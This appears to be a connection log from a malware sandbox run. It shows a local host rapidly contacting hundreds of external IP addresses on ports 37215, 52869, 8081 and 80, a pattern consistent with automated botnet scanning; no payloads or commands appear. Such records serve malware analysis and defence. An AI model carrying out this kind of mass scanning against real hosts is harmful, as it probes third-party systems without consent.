Jul 20, 2024 23:00:58.295111895 CEST	37215	41506	157.139.2.14	192.168.2.23
Jul 20, 2024 23:00:58.295170069 CEST	41506	37215	192.168.2.23	157.139.2.14
Jul 20, 2024 23:00:58.295970917 CEST	53706	37215	192.168.2.23	157.34.104.183
Jul 20, 2024 23:00:58.298031092 CEST	52869	38982	216.174.225.184	192.168.2.23
Jul 20, 2024 23:00:58.298077106 CEST	38982	52869	192.168.2.23	216.174.225.184
Jul 20, 2024 23:00:58.298877954 CEST	53798	52869	192.168.2.23	94.221.100.187
Jul 20, 2024 23:00:58.299204111 CEST	80	34976	95.105.125.225	192.168.2.23
Jul 20, 2024 23:00:58.299247026 CEST	34976	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:00:58.299877882 CEST	45460	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:00:58.300199986 CEST	8081	55466	96.99.34.154	192.168.2.23
Jul 20, 2024 23:00:58.300299883 CEST	55466	8081	192.168.2.23	96.99.34.154
Jul 20, 2024 23:00:58.300877094 CEST	50406	37215	192.168.2.23	157.51.198.43
Jul 20, 2024 23:00:58.301084995 CEST	37215	53706	157.34.104.183	192.168.2.23
Jul 20, 2024 23:00:58.301146030 CEST	53706	37215	192.168.2.23	157.34.104.183
Jul 20, 2024 23:00:58.301388025 CEST	53520	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:58.305037022 CEST	52869	53798	94.221.100.187	192.168.2.23
Jul 20, 2024 23:00:58.305083036 CEST	80	45460	95.158.140.140	192.168.2.23
Jul 20, 2024 23:00:58.305089951 CEST	53798	52869	192.168.2.23	94.221.100.187
Jul 20, 2024 23:00:58.305176973 CEST	45460	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:00:58.305295944 CEST	56840	52869	192.168.2.23	42.114.143.158
Jul 20, 2024 23:00:58.306222916 CEST	37215	50406	157.51.198.43	192.168.2.23
Jul 20, 2024 23:00:58.306279898 CEST	50406	37215	192.168.2.23	157.51.198.43
Jul 20, 2024 23:00:58.306550980 CEST	8081	53520	32.26.120.233	192.168.2.23
Jul 20, 2024 23:00:58.306600094 CEST	53520	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:58.306740046 CEST	59148	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:00:58.307265997 CEST	33028	37215	192.168.2.23	197.218.184.30
Jul 20, 2024 23:00:58.307812929 CEST	37372	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:58.310107946 CEST	52869	56840	42.114.143.158	192.168.2.23
Jul 20, 2024 23:00:58.310156107 CEST	56840	52869	192.168.2.23	42.114.143.158
Jul 20, 2024 23:00:58.312060118 CEST	56122	52869	192.168.2.23	34.53.37.254
Jul 20, 2024 23:00:58.312380075 CEST	80	59148	95.219.125.105	192.168.2.23
Jul 20, 2024 23:00:58.312429905 CEST	59148	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:00:58.312567949 CEST	43118	37215	192.168.2.23	197.65.44.128
Jul 20, 2024 23:00:58.313426018 CEST	46708	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:00:58.314847946 CEST	37215	33028	197.218.184.30	192.168.2.23
Jul 20, 2024 23:00:58.314878941 CEST	8081	37372	121.11.165.132	192.168.2.23
Jul 20, 2024 23:00:58.314913988 CEST	34874	8081	192.168.2.23	58.209.208.205
Jul 20, 2024 23:00:58.314919949 CEST	37372	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:58.315011024 CEST	33028	37215	192.168.2.23	197.218.184.30
Jul 20, 2024 23:00:58.318123102 CEST	52869	56122	34.53.37.254	192.168.2.23
Jul 20, 2024 23:00:58.318152905 CEST	37215	43118	197.65.44.128	192.168.2.23
Jul 20, 2024 23:00:58.318186045 CEST	56122	52869	192.168.2.23	34.53.37.254
Jul 20, 2024 23:00:58.318197966 CEST	43118	37215	192.168.2.23	197.65.44.128
Jul 20, 2024 23:00:58.318459034 CEST	80	46708	95.249.221.188	192.168.2.23
Jul 20, 2024 23:00:58.318505049 CEST	46708	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:00:58.318761110 CEST	37134	52869	192.168.2.23	129.167.170.254
Jul 20, 2024 23:00:58.319001913 CEST	60312	37215	192.168.2.23	41.73.125.205
Jul 20, 2024 23:00:58.319983006 CEST	47570	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:00:58.320276022 CEST	8081	34874	58.209.208.205	192.168.2.23
Jul 20, 2024 23:00:58.320349932 CEST	34874	8081	192.168.2.23	58.209.208.205
Jul 20, 2024 23:00:58.321096897 CEST	42650	8081	192.168.2.23	157.132.243.78
Jul 20, 2024 23:00:58.323765039 CEST	32798	37215	192.168.2.23	157.71.150.37
Jul 20, 2024 23:00:58.324017048 CEST	52869	37134	129.167.170.254	192.168.2.23
Jul 20, 2024 23:00:58.324204922 CEST	37134	52869	192.168.2.23	129.167.170.254
Jul 20, 2024 23:00:58.324629068 CEST	51590	52869	192.168.2.23	63.150.57.125
Jul 20, 2024 23:00:58.324934006 CEST	37215	60312	41.73.125.205	192.168.2.23
Jul 20, 2024 23:00:58.325015068 CEST	80	47570	95.251.168.6	192.168.2.23
Jul 20, 2024 23:00:58.325067043 CEST	47570	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:00:58.325144053 CEST	60312	37215	192.168.2.23	41.73.125.205
Jul 20, 2024 23:00:58.325887918 CEST	39980	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:00:58.326107025 CEST	8081	42650	157.132.243.78	192.168.2.23
Jul 20, 2024 23:00:58.326158047 CEST	42650	8081	192.168.2.23	157.132.243.78
Jul 20, 2024 23:00:58.326992035 CEST	57738	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:58.328876019 CEST	37215	32798	157.71.150.37	192.168.2.23
Jul 20, 2024 23:00:58.328936100 CEST	32798	37215	192.168.2.23	157.71.150.37
Jul 20, 2024 23:00:58.329257011 CEST	33894	37215	192.168.2.23	41.132.20.65
Jul 20, 2024 23:00:58.329911947 CEST	52869	51590	63.150.57.125	192.168.2.23
Jul 20, 2024 23:00:58.329961061 CEST	51590	52869	192.168.2.23	63.150.57.125
Jul 20, 2024 23:00:58.330766916 CEST	80	39980	95.253.245.225	192.168.2.23
Jul 20, 2024 23:00:58.330806017 CEST	39980	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:00:58.330988884 CEST	39800	52869	192.168.2.23	172.95.79.32
Jul 20, 2024 23:00:58.332043886 CEST	8081	57738	13.201.247.1	192.168.2.23
Jul 20, 2024 23:00:58.332094908 CEST	57738	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:58.332554102 CEST	40220	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:00:58.333684921 CEST	48300	8081	192.168.2.23	174.211.130.59
Jul 20, 2024 23:00:58.334690094 CEST	37215	33894	41.132.20.65	192.168.2.23
Jul 20, 2024 23:00:58.334744930 CEST	33894	37215	192.168.2.23	41.132.20.65
Jul 20, 2024 23:00:58.334839106 CEST	56586	37215	192.168.2.23	41.244.190.175
Jul 20, 2024 23:00:58.336219072 CEST	52869	39800	172.95.79.32	192.168.2.23
Jul 20, 2024 23:00:58.336292028 CEST	39800	52869	192.168.2.23	172.95.79.32
Jul 20, 2024 23:00:58.337585926 CEST	80	40220	95.94.173.132	192.168.2.23
Jul 20, 2024 23:00:58.337630987 CEST	40220	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:00:58.338416100 CEST	57210	52869	192.168.2.23	135.9.168.169
Jul 20, 2024 23:00:58.338747025 CEST	8081	48300	174.211.130.59	192.168.2.23
Jul 20, 2024 23:00:58.338795900 CEST	48300	8081	192.168.2.23	174.211.130.59
Jul 20, 2024 23:00:58.339766979 CEST	37215	56586	41.244.190.175	192.168.2.23
Jul 20, 2024 23:00:58.339812040 CEST	56586	37215	192.168.2.23	41.244.190.175
Jul 20, 2024 23:00:58.340387106 CEST	50950	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:00:58.342789888 CEST	39530	8081	192.168.2.23	45.29.220.56
Jul 20, 2024 23:00:58.343662977 CEST	52869	57210	135.9.168.169	192.168.2.23
Jul 20, 2024 23:00:58.343821049 CEST	57210	52869	192.168.2.23	135.9.168.169
Jul 20, 2024 23:00:58.344125986 CEST	57408	37215	192.168.2.23	197.6.34.101
Jul 20, 2024 23:00:58.345645905 CEST	80	50950	95.143.218.123	192.168.2.23
Jul 20, 2024 23:00:58.345722914 CEST	50950	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:00:58.347707033 CEST	34016	52869	192.168.2.23	25.68.235.59
Jul 20, 2024 23:00:58.348511934 CEST	8081	39530	45.29.220.56	192.168.2.23
Jul 20, 2024 23:00:58.348556995 CEST	39530	8081	192.168.2.23	45.29.220.56
Jul 20, 2024 23:00:58.349140882 CEST	48800	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:58.349209070 CEST	37215	57408	197.6.34.101	192.168.2.23
Jul 20, 2024 23:00:58.349260092 CEST	57408	37215	192.168.2.23	197.6.34.101
Jul 20, 2024 23:00:58.350285053 CEST	45076	37215	192.168.2.23	41.126.20.80
Jul 20, 2024 23:00:58.350689888 CEST	43136	8081	192.168.2.23	143.178.252.246
Jul 20, 2024 23:00:58.352794886 CEST	52869	34016	25.68.235.59	192.168.2.23
Jul 20, 2024 23:00:58.352987051 CEST	34016	52869	192.168.2.23	25.68.235.59
Jul 20, 2024 23:00:58.354398966 CEST	80	48800	95.65.26.117	192.168.2.23
Jul 20, 2024 23:00:58.354448080 CEST	48800	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:58.354571104 CEST	57978	52869	192.168.2.23	184.112.202.180
Jul 20, 2024 23:00:58.355541945 CEST	37215	45076	41.126.20.80	192.168.2.23
Jul 20, 2024 23:00:58.355711937 CEST	45076	37215	192.168.2.23	41.126.20.80
Jul 20, 2024 23:00:58.355777979 CEST	56526	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:00:58.356069088 CEST	8081	43136	143.178.252.246	192.168.2.23
Jul 20, 2024 23:00:58.356112003 CEST	43136	8081	192.168.2.23	143.178.252.246
Jul 20, 2024 23:00:58.356232882 CEST	34126	37215	192.168.2.23	157.77.213.179
Jul 20, 2024 23:00:58.356879950 CEST	54130	8081	192.168.2.23	209.57.96.146
Jul 20, 2024 23:00:58.359568119 CEST	52869	57978	184.112.202.180	192.168.2.23
Jul 20, 2024 23:00:58.359745979 CEST	57978	52869	192.168.2.23	184.112.202.180
Jul 20, 2024 23:00:58.360743999 CEST	80	56526	95.150.120.62	192.168.2.23
Jul 20, 2024 23:00:58.360788107 CEST	56526	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:00:58.360816956 CEST	47614	52869	192.168.2.23	60.63.234.192
Jul 20, 2024 23:00:58.361160994 CEST	37215	34126	157.77.213.179	192.168.2.23
Jul 20, 2024 23:00:58.361211061 CEST	34126	37215	192.168.2.23	157.77.213.179
Jul 20, 2024 23:00:58.361788034 CEST	52752	37215	192.168.2.23	157.176.101.215
Jul 20, 2024 23:00:58.362030983 CEST	8081	54130	209.57.96.146	192.168.2.23
Jul 20, 2024 23:00:58.362107992 CEST	54130	8081	192.168.2.23	209.57.96.146
Jul 20, 2024 23:00:58.362509966 CEST	34152	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:00:58.363675117 CEST	60748	8081	192.168.2.23	222.51.117.113
Jul 20, 2024 23:00:58.364532948 CEST	41078	52869	192.168.2.23	173.195.200.196
Jul 20, 2024 23:00:58.365823030 CEST	52869	47614	60.63.234.192	192.168.2.23
Jul 20, 2024 23:00:58.365871906 CEST	47614	52869	192.168.2.23	60.63.234.192
Jul 20, 2024 23:00:58.366873980 CEST	37215	52752	157.176.101.215	192.168.2.23
Jul 20, 2024 23:00:58.367053986 CEST	52752	37215	192.168.2.23	157.176.101.215
Jul 20, 2024 23:00:58.367506027 CEST	80	34152	95.155.161.231	192.168.2.23
Jul 20, 2024 23:00:58.367558002 CEST	34152	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:00:58.367913008 CEST	53610	37215	192.168.2.23	41.178.183.186
Jul 20, 2024 23:00:58.368638992 CEST	48844	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:58.369311094 CEST	8081	60748	222.51.117.113	192.168.2.23
Jul 20, 2024 23:00:58.369395971 CEST	60748	8081	192.168.2.23	222.51.117.113
Jul 20, 2024 23:00:58.369878054 CEST	51182	8081	192.168.2.23	213.64.167.149
Jul 20, 2024 23:00:58.370289087 CEST	52869	41078	173.195.200.196	192.168.2.23
Jul 20, 2024 23:00:58.370457888 CEST	41078	52869	192.168.2.23	173.195.200.196
Jul 20, 2024 23:00:58.370589972 CEST	57682	52869	192.168.2.23	13.112.9.246
Jul 20, 2024 23:00:58.372714996 CEST	39662	37215	192.168.2.23	216.40.91.1
Jul 20, 2024 23:00:58.373799086 CEST	42144	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:00:58.373816013 CEST	37215	53610	41.178.183.186	192.168.2.23
Jul 20, 2024 23:00:58.373889923 CEST	53610	37215	192.168.2.23	41.178.183.186
Jul 20, 2024 23:00:58.374391079 CEST	80	48844	95.185.211.152	192.168.2.23
Jul 20, 2024 23:00:58.374587059 CEST	48844	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:58.375758886 CEST	51348	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:58.375948906 CEST	8081	51182	213.64.167.149	192.168.2.23
Jul 20, 2024 23:00:58.376014948 CEST	51182	8081	192.168.2.23	213.64.167.149
Jul 20, 2024 23:00:58.376105070 CEST	52869	57682	13.112.9.246	192.168.2.23
Jul 20, 2024 23:00:58.376142979 CEST	57682	52869	192.168.2.23	13.112.9.246
Jul 20, 2024 23:00:58.377218008 CEST	53440	37215	192.168.2.23	157.5.83.65
Jul 20, 2024 23:00:58.378171921 CEST	37215	39662	216.40.91.1	192.168.2.23
Jul 20, 2024 23:00:58.378215075 CEST	39662	37215	192.168.2.23	216.40.91.1
Jul 20, 2024 23:00:58.379611969 CEST	53268	8081	192.168.2.23	180.150.232.28
Jul 20, 2024 23:00:58.379833937 CEST	80	42144	95.144.250.151	192.168.2.23
Jul 20, 2024 23:00:58.379909039 CEST	42144	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:00:58.380105019 CEST	47064	37215	192.168.2.23	41.123.9.56
Jul 20, 2024 23:00:58.380747080 CEST	44634	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:58.381171942 CEST	8081	51348	110.138.50.100	192.168.2.23
Jul 20, 2024 23:00:58.381215096 CEST	51348	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:58.382632971 CEST	37215	53440	157.5.83.65	192.168.2.23
Jul 20, 2024 23:00:58.382786989 CEST	53440	37215	192.168.2.23	157.5.83.65
Jul 20, 2024 23:00:58.383359909 CEST	54292	8081	192.168.2.23	51.1.78.152
Jul 20, 2024 23:00:58.383843899 CEST	43956	37215	192.168.2.23	197.16.71.7
Jul 20, 2024 23:00:58.384818077 CEST	8081	53268	180.150.232.28	192.168.2.23
Jul 20, 2024 23:00:58.384869099 CEST	53268	8081	192.168.2.23	180.150.232.28
Jul 20, 2024 23:00:58.385436058 CEST	37215	47064	41.123.9.56	192.168.2.23
Jul 20, 2024 23:00:58.385483980 CEST	47064	37215	192.168.2.23	41.123.9.56
Jul 20, 2024 23:00:58.386352062 CEST	80	44634	95.37.17.184	192.168.2.23
Jul 20, 2024 23:00:58.386539936 CEST	44634	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:58.387902021 CEST	49836	37215	192.168.2.23	197.55.44.167
Jul 20, 2024 23:00:58.388334990 CEST	8081	54292	51.1.78.152	192.168.2.23
Jul 20, 2024 23:00:58.388376951 CEST	54292	8081	192.168.2.23	51.1.78.152
Jul 20, 2024 23:00:58.388473988 CEST	35160	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:58.388786077 CEST	55818	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:00:58.389202118 CEST	37215	43956	197.16.71.7	192.168.2.23
Jul 20, 2024 23:00:58.389255047 CEST	43956	37215	192.168.2.23	197.16.71.7
Jul 20, 2024 23:00:58.392668009 CEST	52234	37215	192.168.2.23	157.17.98.184
Jul 20, 2024 23:00:58.393018007 CEST	37215	49836	197.55.44.167	192.168.2.23
Jul 20, 2024 23:00:58.393090010 CEST	49836	37215	192.168.2.23	197.55.44.167
Jul 20, 2024 23:00:58.393482924 CEST	60610	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:58.393876076 CEST	8081	35160	201.77.170.14	192.168.2.23
Jul 20, 2024 23:00:58.393925905 CEST	35160	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:58.393949032 CEST	80	55818	95.67.166.173	192.168.2.23
Jul 20, 2024 23:00:58.393995047 CEST	55818	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:00:58.395849943 CEST	60470	52869	192.168.2.23	25.158.237.150
Jul 20, 2024 23:00:58.397746086 CEST	37215	52234	157.17.98.184	192.168.2.23
Jul 20, 2024 23:00:58.397797108 CEST	52234	37215	192.168.2.23	157.17.98.184
Jul 20, 2024 23:00:58.398305893 CEST	49060	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:00:58.398385048 CEST	8081	60610	172.125.164.86	192.168.2.23
Jul 20, 2024 23:00:58.398430109 CEST	60610	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:58.398528099 CEST	55620	37215	192.168.2.23	157.113.182.239
Jul 20, 2024 23:00:58.399342060 CEST	43692	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:58.401480913 CEST	55998	52869	192.168.2.23	44.70.248.184
Jul 20, 2024 23:00:58.401705980 CEST	52869	60470	25.158.237.150	192.168.2.23
Jul 20, 2024 23:00:58.401854038 CEST	60470	52869	192.168.2.23	25.158.237.150
Jul 20, 2024 23:00:58.403915882 CEST	80	49060	95.67.33.66	192.168.2.23
Jul 20, 2024 23:00:58.403975010 CEST	49060	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:00:58.404114962 CEST	57488	37215	192.168.2.23	157.234.59.179
Jul 20, 2024 23:00:58.404593945 CEST	54558	8081	192.168.2.23	202.218.212.3
Jul 20, 2024 23:00:58.404687881 CEST	37215	55620	157.113.182.239	192.168.2.23
Jul 20, 2024 23:00:58.404740095 CEST	55620	37215	192.168.2.23	157.113.182.239
Jul 20, 2024 23:00:58.405292988 CEST	8081	43692	123.41.132.40	192.168.2.23
Jul 20, 2024 23:00:58.405340910 CEST	43692	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:58.406644106 CEST	59764	52869	192.168.2.23	188.112.254.56
Jul 20, 2024 23:00:58.407520056 CEST	53440	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:00:58.407803059 CEST	52869	55998	44.70.248.184	192.168.2.23
Jul 20, 2024 23:00:58.407963037 CEST	55998	52869	192.168.2.23	44.70.248.184
Jul 20, 2024 23:00:58.408905983 CEST	41970	37215	192.168.2.23	197.113.51.118
Jul 20, 2024 23:00:58.409890890 CEST	47164	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:58.410610914 CEST	37215	57488	157.234.59.179	192.168.2.23
Jul 20, 2024 23:00:58.410792112 CEST	57488	37215	192.168.2.23	157.234.59.179
Jul 20, 2024 23:00:58.410861015 CEST	8081	54558	202.218.212.3	192.168.2.23
Jul 20, 2024 23:00:58.410906076 CEST	54558	8081	192.168.2.23	202.218.212.3
Jul 20, 2024 23:00:58.411628008 CEST	52869	59764	188.112.254.56	192.168.2.23
Jul 20, 2024 23:00:58.411672115 CEST	59764	52869	192.168.2.23	188.112.254.56
Jul 20, 2024 23:00:58.412110090 CEST	60200	52869	192.168.2.23	25.222.248.206
Jul 20, 2024 23:00:58.412822962 CEST	80	53440	95.180.44.181	192.168.2.23
Jul 20, 2024 23:00:58.412872076 CEST	53440	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:00:58.414048910 CEST	37215	41970	197.113.51.118	192.168.2.23
Jul 20, 2024 23:00:58.414093018 CEST	41970	37215	192.168.2.23	197.113.51.118
Jul 20, 2024 23:00:58.414896011 CEST	44106	37215	192.168.2.23	197.114.117.243
Jul 20, 2024 23:00:58.415720940 CEST	8081	47164	35.100.103.23	192.168.2.23
Jul 20, 2024 23:00:58.415739059 CEST	37468	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:58.415925026 CEST	47164	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:58.417146921 CEST	52869	60200	25.222.248.206	192.168.2.23
Jul 20, 2024 23:00:58.417181015 CEST	51572	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:00:58.417224884 CEST	60200	52869	192.168.2.23	25.222.248.206
Jul 20, 2024 23:00:58.417489052 CEST	59266	52869	192.168.2.23	135.23.236.194
Jul 20, 2024 23:00:58.419775009 CEST	37215	44106	197.114.117.243	192.168.2.23
Jul 20, 2024 23:00:58.419819117 CEST	44106	37215	192.168.2.23	197.114.117.243
Jul 20, 2024 23:00:58.420367002 CEST	55784	37215	192.168.2.23	197.64.180.236
Jul 20, 2024 23:00:58.421037912 CEST	8081	37468	78.218.78.120	192.168.2.23
Jul 20, 2024 23:00:58.421084881 CEST	37468	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:58.421237946 CEST	58006	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:58.422266006 CEST	80	51572	95.180.177.183	192.168.2.23
Jul 20, 2024 23:00:58.422319889 CEST	51572	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:00:58.422564983 CEST	52869	59266	135.23.236.194	192.168.2.23
Jul 20, 2024 23:00:58.422607899 CEST	59266	52869	192.168.2.23	135.23.236.194
Jul 20, 2024 23:00:58.423573971 CEST	37044	52869	192.168.2.23	117.27.97.229
Jul 20, 2024 23:00:58.425493956 CEST	37215	55784	197.64.180.236	192.168.2.23
Jul 20, 2024 23:00:58.425550938 CEST	55784	37215	192.168.2.23	197.64.180.236
Jul 20, 2024 23:00:58.425705910 CEST	36240	37215	192.168.2.23	157.231.240.156
Jul 20, 2024 23:00:58.426632881 CEST	53722	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:58.426661015 CEST	8081	58006	211.145.32.152	192.168.2.23
Jul 20, 2024 23:00:58.426770926 CEST	58006	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:58.426837921 CEST	42310	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:00:58.428658962 CEST	52869	37044	117.27.97.229	192.168.2.23
Jul 20, 2024 23:00:58.428824902 CEST	37044	52869	192.168.2.23	117.27.97.229
Jul 20, 2024 23:00:58.429013968 CEST	41974	52869	192.168.2.23	159.20.45.153
Jul 20, 2024 23:00:58.430919886 CEST	37215	36240	157.231.240.156	192.168.2.23
Jul 20, 2024 23:00:58.430973053 CEST	36240	37215	192.168.2.23	157.231.240.156
Jul 20, 2024 23:00:58.431731939 CEST	8081	53722	37.155.128.10	192.168.2.23
Jul 20, 2024 23:00:58.431785107 CEST	80	42310	95.53.118.65	192.168.2.23
Jul 20, 2024 23:00:58.431786060 CEST	53722	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:58.431876898 CEST	42310	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:00:58.431941032 CEST	55528	37215	192.168.2.23	210.132.156.163
Jul 20, 2024 23:00:58.432358027 CEST	53002	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:58.434103012 CEST	52869	41974	159.20.45.153	192.168.2.23
Jul 20, 2024 23:00:58.434293985 CEST	41974	52869	192.168.2.23	159.20.45.153
Jul 20, 2024 23:00:58.434982061 CEST	33600	52869	192.168.2.23	213.241.106.75
Jul 20, 2024 23:00:58.436950922 CEST	37215	55528	210.132.156.163	192.168.2.23
Jul 20, 2024 23:00:58.437114954 CEST	55528	37215	192.168.2.23	210.132.156.163
Jul 20, 2024 23:00:58.437398911 CEST	8081	53002	210.148.47.191	192.168.2.23
Jul 20, 2024 23:00:58.437452078 CEST	53002	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:58.437613964 CEST	55118	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:00:58.437868118 CEST	50026	37215	192.168.2.23	197.213.172.133
Jul 20, 2024 23:00:58.438689947 CEST	43988	8081	192.168.2.23	169.22.153.45
Jul 20, 2024 23:00:58.440077066 CEST	52869	33600	213.241.106.75	192.168.2.23
Jul 20, 2024 23:00:58.440124035 CEST	33600	52869	192.168.2.23	213.241.106.75
Jul 20, 2024 23:00:58.441025972 CEST	50044	52869	192.168.2.23	106.250.20.58
Jul 20, 2024 23:00:58.443037987 CEST	80	55118	95.249.27.14	192.168.2.23
Jul 20, 2024 23:00:58.443085909 CEST	55118	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:00:58.443562984 CEST	37215	50026	197.213.172.133	192.168.2.23
Jul 20, 2024 23:00:58.443725109 CEST	50026	37215	192.168.2.23	197.213.172.133
Jul 20, 2024 23:00:58.443942070 CEST	36304	37215	192.168.2.23	41.41.122.187
Jul 20, 2024 23:00:58.444107056 CEST	8081	43988	169.22.153.45	192.168.2.23
Jul 20, 2024 23:00:58.444159985 CEST	43988	8081	192.168.2.23	169.22.153.45
Jul 20, 2024 23:00:58.444732904 CEST	45010	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:58.445946932 CEST	52869	50044	106.250.20.58	192.168.2.23
Jul 20, 2024 23:00:58.446012020 CEST	50044	52869	192.168.2.23	106.250.20.58
Jul 20, 2024 23:00:58.447259903 CEST	55224	52869	192.168.2.23	162.63.105.168
Jul 20, 2024 23:00:58.448369026 CEST	39014	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:00:58.449096918 CEST	37215	36304	41.41.122.187	192.168.2.23
Jul 20, 2024 23:00:58.449141979 CEST	36304	37215	192.168.2.23	41.41.122.187
Jul 20, 2024 23:00:58.449672937 CEST	8081	45010	52.47.117.27	192.168.2.23
Jul 20, 2024 23:00:58.449731112 CEST	45010	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:58.450582027 CEST	44702	37215	192.168.2.23	221.83.41.173
Jul 20, 2024 23:00:58.451231003 CEST	59536	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:58.452267885 CEST	52869	55224	162.63.105.168	192.168.2.23
Jul 20, 2024 23:00:58.452338934 CEST	55224	52869	192.168.2.23	162.63.105.168
Jul 20, 2024 23:00:58.453324080 CEST	80	39014	95.197.154.83	192.168.2.23
Jul 20, 2024 23:00:58.453401089 CEST	39014	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:00:58.453428984 CEST	47262	52869	192.168.2.23	109.23.172.87
Jul 20, 2024 23:00:58.455849886 CEST	37215	44702	221.83.41.173	192.168.2.23
Jul 20, 2024 23:00:58.456032038 CEST	44702	37215	192.168.2.23	221.83.41.173
Jul 20, 2024 23:00:58.456219912 CEST	47260	37215	192.168.2.23	8.108.207.220
Jul 20, 2024 23:00:58.456603050 CEST	8081	59536	203.12.152.184	192.168.2.23
Jul 20, 2024 23:00:58.456649065 CEST	59536	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:58.457132101 CEST	33716	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:58.458583117 CEST	52869	47262	109.23.172.87	192.168.2.23
Jul 20, 2024 23:00:58.458645105 CEST	47262	52869	192.168.2.23	109.23.172.87
Jul 20, 2024 23:00:58.459594965 CEST	36232	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:00:58.459940910 CEST	40704	52869	192.168.2.23	87.1.160.57
Jul 20, 2024 23:00:58.461368084 CEST	37215	47260	8.108.207.220	192.168.2.23
Jul 20, 2024 23:00:58.461414099 CEST	47260	37215	192.168.2.23	8.108.207.220
Jul 20, 2024 23:00:58.461857080 CEST	39976	37215	192.168.2.23	41.33.245.21
Jul 20, 2024 23:00:58.462824106 CEST	8081	33716	197.124.121.19	192.168.2.23
Jul 20, 2024 23:00:58.462939024 CEST	51232	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:58.462965012 CEST	33716	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:58.464903116 CEST	80	36232	95.79.26.189	192.168.2.23
Jul 20, 2024 23:00:58.465046883 CEST	36232	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:00:58.465177059 CEST	35860	52869	192.168.2.23	77.77.58.220
Jul 20, 2024 23:00:58.465784073 CEST	52869	40704	87.1.160.57	192.168.2.23
Jul 20, 2024 23:00:58.465996981 CEST	40704	52869	192.168.2.23	87.1.160.57
Jul 20, 2024 23:00:58.467063904 CEST	37215	39976	41.33.245.21	192.168.2.23
Jul 20, 2024 23:00:58.467245102 CEST	39976	37215	192.168.2.23	41.33.245.21
Jul 20, 2024 23:00:58.467843056 CEST	8081	51232	18.200.102.195	192.168.2.23
Jul 20, 2024 23:00:58.467890978 CEST	51232	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:58.468250990 CEST	50036	37215	192.168.2.23	88.195.110.211
Jul 20, 2024 23:00:58.468724966 CEST	43542	8081	192.168.2.23	206.223.137.129
Jul 20, 2024 23:00:58.468895912 CEST	51146	80	192.168.2.23	95.174.246.108
Jul 20, 2024 23:00:58.470669031 CEST	52869	35860	77.77.58.220	192.168.2.23
Jul 20, 2024 23:00:58.470752954 CEST	35860	52869	192.168.2.23	77.77.58.220
Jul 20, 2024 23:00:58.471760988 CEST	51918	52869	192.168.2.23	105.234.100.63
